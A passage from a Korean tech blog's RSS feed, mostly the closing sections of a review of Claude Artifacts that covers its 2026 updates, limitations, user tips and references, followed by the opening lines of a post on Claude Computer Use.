&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Upscaling Command:&lt;/b&gt; 텍스트 요청 한 번으로 갤러리 레이아웃의 정교함을 한 단계 높이는 것이 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;나만의 맞춤형 도구&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개인적으로 가장 유용한 용도는 &lt;b&gt;&quot;나만을 위한 도구&quot;&lt;/b&gt;다. 어떤 아이디어든 단일 HTML 파일로 즉시 나오고, 오늘 당장 배포할 수 있다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;카테고리&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;생산성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;커스텀 스케줄러, 다이어리 꾸미기 툴, 개인용 습관 트래커&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;금융 및 계산&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;부동산 중개수수료 계산기, 환율 변환기, 대출 이자 시뮬레이터&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;여행/생활&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;가족여행 인터랙티브 플래너, 결혼식 좌석 배치도, 이사 체크리스트, 육아 성장 기록표&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;콘텐츠&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;인터랙티브 퀴즈 홈, 나만의 영단어장, 오픈소스 큐레이션 보드&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: 2026년 최신 업데이트 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 2026년 최신 업데이트&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;출시 이후 기능이 꽤 빠르게 붙고 있다. 2025~2026년 주요 업데이트만 추려 봤다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;인라인 시각화 (2026년 3월)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2026년 3월 12일&lt;/b&gt;, Anthropic은 차트, 다이어그램, 시각화가 &lt;b&gt;대화 흐름 안에서 인라인으로 직접 렌더링&lt;/b&gt;되는 기능을 발표했다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;HTML과 SVG를 사용하여 채팅 내에서 직접 시각화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;호버 및 클릭 인터랙션 지원&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;대화가 진행되면서 시각화도 함께 발전하는 &lt;b&gt;임시적/맥락적(Contextual)&lt;/b&gt; 특성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;기존의 사이드 패널 Artifacts와는 달리, 대화 흐름에 자연스럽게 녹아드는 형태&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://claude.com/blog/claude-builds-visuals&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Blog: Claude Builds Visuals&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;인라인 시각화(Custom Visuals) vs Artifacts &amp;mdash; 헷갈리기 쉬운 차이점&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 10px 0 0 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border-bottom: 2px solid #ffc107;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border-bottom: 2px solid #ffc107;&quot;&gt;인라인 시각화&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border-bottom: 2px solid #ffc107;&quot;&gt;Artifact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;&lt;b&gt;위치&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;대화 흐름 안&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;사이드 패널&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;&lt;b&gt;지속성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;임시 (대화 진행 시 변경/소멸)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;영구 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;&lt;b&gt;퍼블리시&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;직접 불가&lt;/span&gt; &amp;mdash; 'Save as artifact' 후 가능&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;Share &amp;rarr; Publish로 즉시 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;&lt;b&gt;&lt;code&gt;...&lt;/code&gt; 메뉴&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;Copy / Download / Save as artifact&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;Share / Publish / Embed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-top: 8px; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;두 기능은 상호 보완적이다. 인라인 시각화로 탐색하고, 마음에 드는 결과를 Artifact로 저장하여 퍼블리시하는 흐름이다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 5px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://support.claude.com/en/articles/13979539-custom-visuals-in-chat&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Help Center: Custom visuals in chat&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;AI-Powered Artifacts&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Artifacts가 이제 &lt;b&gt;Claude API를 직접 호출&lt;/b&gt;할 수 있다. 정적 웹 페이지가 아니라 &lt;b&gt;AI 기능이 내장된 앱&lt;/b&gt;을 만들 수 있다는 뜻이다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Anthropic이 호스팅, 인증, 공유 경제를 관리&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;퍼블리시된 AI-Powered Artifact는 방문자가 직접 AI 기능을 사용 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/claude-powered-artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Build and share AI-powered apps with Claude&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;영구 저장소와 MCP 연동&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;영구 저장소(Persistent Storage):&lt;/b&gt; Artifacts가 세션 간에 데이터를 유지할 수 있게 되었다. 저널, 트래커, 협업 도구 같은 상태 기반 앱 구축이 가능하다. (Pro, Max, Team, Enterprise 플랜)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;MCP(Model Context Protocol) 연동:&lt;/b&gt; Artifacts가 Asana, Google Calendar, Slack 등 외부 서비스와 연결 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;파일 생성 기능:&lt;/b&gt; 2025년 10월 21일 GA &amp;mdash; Excel 스프레드시트, 문서, PowerPoint 슬라이드, PDF를 직접 생성/편집 가능 (유료 플랜)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/create-files&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Claude can now create and edit files&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10: 알아두어야 할 한계점 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 알아두어야 할 한계점&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Artifacts가 편하긴 하지만 못 하는 것도 있다. 현재 알려진 제약 사항이다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;단일 파일 제한:&lt;/b&gt; Artifact는 하나의 파일로만 생성된다. 멀티 파일 프로젝트는 불가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;클라이언트 사이드 전용:&lt;/b&gt; 백엔드/서버 사이드 코드 실행 불가, 데이터베이스 직접 연결 불가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;외부 리소스 제한:&lt;/b&gt; CDN은 &lt;code&gt;cdnjs.cloudflare.com&lt;/code&gt;만 허용. 외부 이미지나 API 호출에 제약이 있음&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;localStorage/sessionStorage 미지원:&lt;/b&gt; 브라우저 저장소를 활용한 상태 유지가 제한적 (Persistent Storage 기능으로 일부 대체 가능)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;React Artifact 추출 복잡:&lt;/b&gt; React 기반 Artifact를 외부에서 실행하려면 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/claudio-silva/claude-artifact-runner&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;claude-artifact-runner&lt;/a&gt; 같은 별도 도구가 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실용적 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Simon Willison은 Artifact 생성 시 프롬프트에 &lt;b&gt;&quot;React가 아닌 순수 HTML+JS로&quot;&lt;/b&gt;를 명시하면 추출과 배포가 훨씬 수월하다고 조언한다. 특히 외부 배포를 계획하고 있다면 이 팁이 유용하다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;커뮤니티에서 공유하는 워크어라운드&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;&quot;전체를 다시 쓰지 마&quot;:&lt;/b&gt; 프롬프트에 &quot;기존 코드를 유지하고, [특정 부분]만 수정해줘&quot;라고 명시하면 전체 재생성을 줄일 수 있다. 효과는 절반 정도지만, 안 쓰는 것보다 낫다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;수동 버전 관리:&lt;/b&gt; 마음에 드는 Artifact가 나오면 즉시 코드를 복사해서 로컬에 저장해 둔다. 다음 수정에서 망가질 수 있으니까.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;&quot;설명 먼저, 실행 나중에&quot;:&lt;/b&gt; &quot;바로 수정하지 말고, 뭘 바꿀 건지 먼저 설명해줘&quot;라고 하면 의도치 않은 변경을 사전에 잡을 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 11: 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 결론: 프론트엔드 개발의 민주화, 그리고 새로운 '공포'&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;클로드의 Artifacts는 AI가 &lt;b&gt;질문에 답하는 비서&lt;/b&gt;에서 &lt;b&gt;소프트웨어를 즉석에서 뽑아내는 공장&lt;/b&gt;으로 바뀌는 지점에 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;흐름을 보면 이렇다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;과거 &amp;mdash; 텍스트 생성(Chat):&lt;/b&gt; AI가 텍스트로 답변을 생성하면 사용자가 직접 코드를 복사해서 실행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;현재 &amp;mdash; 정적 UI 및 마이크로 웹앱 렌더링(Artifacts):&lt;/b&gt; 자연어 한 문장으로 인터랙티브 웹앱을 즉시 렌더링. 대화 속에서 기획의 실시간 검증이 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;미래 &amp;mdash; 복잡한 클라이언트 앱의 즉석 생성:&lt;/b&gt; 영구 저장소와 MCP 연동으로 엑셀, 파워포인트급 복잡한 클라이언트 앱을 즉석 생성. 이미 파일 생성 기능과 AI-Powered Artifacts의 등장을 보면, 이 미래는 충분히 가시권에 들어왔다&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;핵심 요약&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Artifacts = 라이브 프론트엔드 런타임:&lt;/b&gt; HTML/CSS/JS/React를 실시간 렌더링하는 샌드박스 실행 환경&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;ChatGPT 대비 차별점:&lt;/b&gt; 렌더링 우선 철학, 내장 퍼블리시(Share &amp;rarr; Publish), AI-Powered 앱, 영구 저장소&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Bun 인수:&lt;/b&gt; Anthropic의 JS 생태계 전략적 투자. Claude Code 성능 강화 + 미래 AI 에이전트 런타임&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;제로 컨피그 배포:&lt;/b&gt; Cloudflare Pages 등 무료 호스팅으로 즉시 웹 서비스화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;2026년 업데이트:&lt;/b&gt; 인라인 시각화, AI-Powered Artifacts, 영구 저장소, MCP 연동&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;LLM이 텍스트를 뽑아주는 도구에 머물지 않고, 그 자체로 &lt;b&gt;'프론트엔드 실행 환경'&lt;/b&gt;이 되고 있다. 클로드를 매달 구독할 이유를 묻는다면, 솔직히 이 시각화 기능이 가장 설득력 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;결국 중요한 건 &quot;무엇을 물어보느냐&quot;보다 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;어떤 화면을 요구할 줄 아느냐&quot;&lt;/b&gt;&lt;/span&gt;가 됐다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 참고 자료 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;공식 문서 (Level 1)&lt;/h4&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0; font-size: 14px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/claude-3-5-sonnet&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Introducing Claude 3.5 Sonnet&lt;/a&gt; &amp;mdash; Artifacts 최초 공개&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Artifacts are now generally available&lt;/a&gt; &amp;mdash; 정식 출시 발표&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/claude-powered-artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Build and share AI-powered apps with Claude&lt;/a&gt; &amp;mdash; AI-Powered Artifacts&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/create-files&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Claude can now create and edit files&lt;/a&gt; &amp;mdash; 파일 생성 기능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/anthropic-acquires-bun-as-claude-code-reaches-usd1b-milestone&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Anthropic acquires Bun&lt;/a&gt; &amp;mdash; Bun 인수 발표&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://bun.com/blog/bun-joins-anthropic&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bun Blog: Bun is joining Anthropic&lt;/a&gt; &amp;mdash; Bun 측 발표&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://support.claude.com/en/articles/9487310-what-are-artifacts-and-how-do-i-use-them&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Help Center: What are artifacts&lt;/a&gt; &amp;mdash; Artifacts 공식 문서&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://support.claude.com/en/articles/9547008-publishing-and-sharing-artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Help Center: Publishing and sharing artifacts&lt;/a&gt; &amp;mdash; 퍼블리시 공식 문서&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://claude.com/blog/claude-builds-visuals&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Blog: Claude Builds Visuals&lt;/a&gt; &amp;mdash; 2026년 3월 인라인 시각화&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;참고 자료 (Level 2-3)&lt;/h4&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0; font-size: 14px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://newsletter.pragmaticengineer.com/p/how-claude-code-is-built&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Pragmatic Engineer: How Claude Code is built&lt;/a&gt; &amp;mdash; Claude Code 기술 스택&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.reidbarber.com/blog/reverse-engineering-claude-artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Reid Barber: Reverse engineering Claude Artifacts&lt;/a&gt; &amp;mdash; Artifacts 렌더링 아키텍처&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://simonwillison.net/2025/Dec/10/html-tools/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Simon Willison: Useful patterns for building HTML tools&lt;/a&gt; &amp;mdash; 실전 조언&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://xsoneconsultants.com/blog/chatgpt-canvas-vs-claude-artifacts/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;XsOne Consultants: ChatGPT Canvas vs Claude Artifacts&lt;/a&gt; &amp;mdash; 비교 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://techcrunch.com/2025/12/18/vibe-coding-startup-lovable-raises-330m-at-a-6-6b-valuation/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechCrunch: Lovable raises $330M&lt;/a&gt; &amp;mdash; 바이브 코딩 시장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.cloudflare.com/pages/platform/limits/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Cloudflare Pages: Limits&lt;/a&gt; &amp;mdash; 무료 호스팅 스펙&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>AI 코딩</category>
      <category>ChatGPT Canvas 비교</category>
      <category>claude artifacts</category>
      <category>cloudflare pages</category>
      <category>react 렌더링</category>
      <category>시각화</category>
      <category>인라인 시각화</category>
      <category>제로 컨피그 배포</category>
      <category>클로드 아티팩트</category>
      <category>프론트엔드 자동화</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/561</guid>
      <comments>https://goddaehee.tistory.com/561#entry561comment</comments>
      <pubDate>Wed, 25 Mar 2026 18:30:03 +0900</pubDate>
    </item>
    <item>
      <title>Claude Computer Use 리뷰 : AI가 내 컴퓨터를 조작한다 - 폰에서 지시하면 Mac이 혼자 일한다</title>
      <link>https://goddaehee.tistory.com/560</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;2026년 3월 23일, Anthropic이 &lt;b&gt;Computer Use&lt;/b&gt;를 리서치 프리뷰로 공개했다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2568&quot; data-origin-height=&quot;1458&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4t9Qt/dJMb99Th6jB/SYotkHg9kIg0x78jUnkbyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4t9Qt/dJMb99Th6jB/SYotkHg9kIg0x78jUnkbyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4t9Qt/dJMb99Th6jB/SYotkHg9kIg0x78jUnkbyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4t9Qt%2FdJMb99Th6jB%2FSYotkHg9kIg0x78jUnkbyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 